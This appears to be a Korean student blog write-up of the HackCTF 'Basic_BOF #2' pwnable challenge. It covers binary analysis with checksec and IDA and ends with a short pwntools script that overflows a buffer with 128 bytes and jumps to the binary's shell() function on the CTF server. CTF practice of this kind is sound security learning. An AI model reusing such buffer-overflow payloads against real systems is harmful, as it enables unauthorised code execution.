Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 |
Tags
- 머신러닝
- Javascript
- 생활코딩
- lob
- 백준
- SWEA
- XSS Game
- 숙명여자대학교 정보보안 동아리
- 숙명여자대학교 정보보안동아리
- 웹페이지 만들기
- CSS
- 드림핵
- WarGame
- HTML
- The Loard of BOF
- BOJ
- 자료구조 복습
- hackctf
- siss
- 풀이
- 기계학습
- Sookmyung Information Security Study
- c++
- 파이썬
- C언어
- c
- BOJ Python
- hackerrank
- PHP 웹페이지 만들기
- Python
Archives
- Today
- Total
혜랑's STORY
[HackCTF] Basic_BOF #2 - pwnable 본문
오늘 해결할 문제는 이 사이트의 Basic_BOF #2 문제이다. 이전에 Basic_BOF #1을 해결한 적이 있는데, 이 문제의 연장 선이라 생각한다.
[HackCTF] Basic_BOF #1
# IDA를 사용하여 bof_basic 살펴보기 s의 크기는 0x34(52) byte 라는 것을 알 수 있다. fgets() 함수의 길이 제한 없이 입력 받는다는 취약점을 이용하여 v5의 값을 "-559038737"로 바꿔주면 shell이 실행되는..
a1ways-hyerang.tistory.com
다운로드를 눌러 파일을 다운받고, chmod를 통해 파일에 실행 권한을 부여해 주었다.
chmod +x bof_basic2
AAAA를 입력하니 다음과 같은 출력 이후에 바로 프로그램이 종료하였다.
checksec을 통해 파일을 살펴보니
32bit 바이너리 파일이고, NX가 걸려 있었다.
IDA로 살펴본 결과
함수 목록과 main 함수를 살펴보니 다음과 같은 함수가 추가적으로 존재하였다.
최종 목표로는 shell() 함수를 실행시키는 것이라 생각하였다.
또한 이때 fgets()를 통해 overflow가 불가능하기 때문에 v5에서 sup() 함수를 실행시키고 이때 overflow를 일으켜 shell() 함수로 이동하여야 한다고 생각하였다.
s의 크기는 IDA에서 알 수 있듯이 0x8c - 0xc 이므로 이 뒤에 shell() 함수의 주소를 전달하면 된다.
from pwn import *
r = remote('ctf.j0n9hyun.xyz', '3001')
e = ELF('./bof_basic2')
payload = ''
payload += 'A' * 128
payload += p32(e.symbols['shell'])
r.sendline(payload)
r.interactive()
성공이다!
'2021 SISS 21기 활동 > 여름방학 CTF[연합]' 카테고리의 다른 글
[HackCTF] Great Binary - cryptography (0) | 2021.08.10 |
---|---|
[HackCTF] Basic_FSB - pwnable (0) | 2021.08.10 |
[picoCTF] asm1 - Reverse Engineering (0) | 2021.08.05 |
[picoCTF] crackme.py - Reverse Engineering (0) | 2021.08.05 |
[picoCTF] Stonks - Binary Exploitation (0) | 2021.08.05 |